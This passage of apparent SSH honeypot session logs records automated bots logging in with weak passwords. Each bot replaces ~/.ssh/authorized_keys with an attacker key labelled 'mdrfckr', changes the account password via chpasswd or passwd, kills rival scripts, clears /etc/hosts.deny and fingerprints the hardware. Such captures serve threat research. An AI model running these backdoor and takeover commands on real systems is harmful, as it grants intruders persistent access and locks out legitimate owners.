-l"},{"seq":4,"at":"2026-08-27T12:22:58.959211+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.953127+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n6wRCZCn8GUjm\\n6wRCZCn8GUjm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.689652+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n6wRCZCn8GUjm\\n6wRCZCn8GUjm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:23:01.421180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:02.206761+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:02.935042+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:03.779010+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:04.505569+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:05.603582+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:06.338237+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:06.823650+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:07.563375+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:08.141071+00:00","kind":"output","latency_ms":null,"data":" 12:23:08 up 7 days, 9:13, 0 user, load average: 0.08, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:08.866911+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:09.648147+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:10.379047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:10.882831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:11.613595+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:12.310198+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:12 up 7 days, 9:13, 0 user, load average: 0.08, 0.07, 0.05\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:13.044214+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:13.465150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:14.198053+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:14.799567+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:15.529789+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:16.252114+00:00","kind":"output","latency_ms":null,"data":"fs"},{"seq":29,"at":"2026-08-27T12:23:16.982910+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:18.187549+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:18.918515+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:19.875459+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fs","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3","name":"fierce-sterling-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:13.209762+00:00","ended_at":"2026-08-27T12:23:14.733002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:22:54.412171+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:54.705468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:59.069538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:22:59.540660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.837121+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6wRCZCn8GUjm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.133526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:00.433679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:01.175252+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:01.470738+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:02.496760+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:02.795344+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:04.192492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:04.491035+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:05.166215+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:05.462753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:05.916833+00:00","kind":"output","latency_ms":null,"data":" 12:23:05 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:06.214362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:06.998605+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:07.293823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:08.142228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:08.439212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:08.874501+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:08 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:09.173396+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:09.488908+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:09.785079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:10.421691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:10.722176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:11.522794+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:11.813528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:12.913985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:13.210817+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:14.646164+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"84d2a4e8-6fcc-4968-a1e4-a049d8e02664","name":"russet-rugged-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:47.348913+00:00","ended_at":"2026-08-27T12:21:48.544087+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:21:29.315794+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:29.647281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:34.210089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:34.462569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:34.792850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tdJWhKLCPn8c\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:35.120022+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:35.449600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:36.087103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:36.417348+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:37.328323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:37.658024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:38.817613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:39.150585+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:39.558950+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:39.890241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:40.468051+00:00","kind":"output","latency_ms":null,"data":" 12:21:40 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:40.798115+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:41.142180+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:41.474683+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:42.313457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:42.648966+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:42.904781+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:42 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:43.232793+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:43.897675+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:44.225096+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:44.664283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:44.993621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:45.667378+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:45.999554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:47.021343+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:47.349415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:48.448208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"cb1cf88d-956b-478c-8b56-58bf2ccaa813","name":"arctic-distant-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":60522,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:33.027216+00:00","ended_at":"2026-08-27T12:21:34.490931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:21:14.902899+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:15.162742+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:18.872629+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:19.697276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:19.961785+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:21:20.223746+00:00","kind":"input","latency_ms":null,"data":"echo \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:21:20.483314+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:21.095222+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:21.356027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:22.551008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:22.845666+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:24.342211+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:24.605933+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:24.883815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:25.145962+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:26.046163+00:00","kind":"output","latency_ms":null,"data":" 12:21:26 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:26.310667+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:26.734604+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:26.996818+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:27.423893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:27.687602+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:28.251558+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:28 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:28.521366+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:28.891485+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:29.163102+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:29.852083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:30.127157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:30.489041+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:21:30.753266+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:32.765354+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:33.028034+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:34.414945+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"qwer1234","method":"password","accepted":true,"tier":"other"}]} {"id":"5a07ff39-e5fb-4ef1-8ae6-f25237994c11","name":"arctic-airy-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59582,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":456,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:15.821042+00:00","ended_at":"2026-08-27T12:21:17.129068+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:54.203345+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:54.657724+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:59.667962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:00.329867+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:00.790240+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tUakiAEKS0TS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:01.244162+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:01.702442+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:01.977465+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:02.433314+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:03.424963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:03.883651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:05.056011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:05.512963+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:06.057998+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:06.513283+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:06.980763+00:00","kind":"output","latency_ms":null,"data":" 12:21:06 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:07.440457+00:00","kind":"input","latency_ms":null,"data":"uname 